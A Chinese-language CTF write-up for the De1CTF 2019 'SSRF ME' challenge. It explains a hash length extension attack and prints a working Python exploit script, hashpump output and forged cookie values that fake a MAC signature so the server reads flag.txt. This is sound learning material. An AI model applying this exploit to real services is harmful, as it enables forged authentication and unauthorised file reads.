De1ctf2019 梳理

SSRF ME

tcl

刚拿到这题就直接分析源码,代码看是看懂了.但完全没有思路,那个action不是写死了吗?secret token我不知道啊?哎,吃了没听说哈希扩展攻击的亏..

之后看到了writeup,就来梳理一下.

writeup:

#!/usr/bin/python2
import requests,hashpumpy,urllib
payload = 'flag.txt'
param = 'param=' + payload
base_url = 'http://139.180.128.86/'
signurl = base_url + 'geneSign?' + param
r = requests.post(url=signurl,cookies={'action':'scan'})
sign = r.content
print sign
readsign,add_data = hashpumpy.hashpump(sign,payload+'scan','read',16)
print readsign
# print add_data
add_data = add_data[len(payload):]
print add_data
expurl = base_url + 'De1ta?' + param
r = requests.post(url=expurl,cookies={'action':urllib.quote(add_data),'sign':readsign})
print r.content

网站有两个功能,scanread.scan负责读取数据并写入到本地,read负责读取本地保存的数据.每次执行操作前需比对sign,如果不对则返回500错误.

然后我们这边就要先读取flag.txt.

具体执行读取文件是在源代码中的86行,使用urlopen打开传递的param参数的文件.这个地方还有个waf函数,所以param参数不能以filegopher开头.但其实直接写flag.txt就完事了.

在读取前,需要先获取sign.于是构造:

http://139.180.128.96/geneSign?param=flag.txt

并在访问时构造cookie={'action':'scan'}

访问得到sign8370bdba94bd5aaf7427b84b3f52d7cb.也就是secret_key+flag.txt+scan的哈希值.

之后我们就要执行读取操作,但并不知道secret_key的值无法重新计算哈希值.于是就要用到哈希长度扩展攻击了.

哈希长度扩展攻击

使用条件:

  1. 已知明文长度

  2. 已知哈希值

  3. 已知明文结尾处字符

进行攻击

root@DESKTOP-Q7DV3IJ:~# hashpump
Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb
Input Data: flag.txtscan
Input Key Length: 16
Input Data to Add: read
d7163f39ab78a698b3514fd465e4018a
flag.txtscan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read

这里攻击后直接生成了secret_key+flag.txt+"scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read"的哈希值:d7163f39ab78a698b3514fd465e4018a

然后我们构造url:http://139.180.128.86/De1ta?param=flag.txtcookies={‘action’:’scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read’,’sign’:’d7163f39ab78a698b3514fd465e4018a’

这样,就可以使用伪造的签名愉快的去获取flag啦~

碎碎念

其他的题目…目前还没有能做出来的.做完了再更新吧.把一道题目的解法写出来就像是给别人讲解一样,在讲解的同时也是在梳理知识点,加深自己的印象,是一个很好的习惯.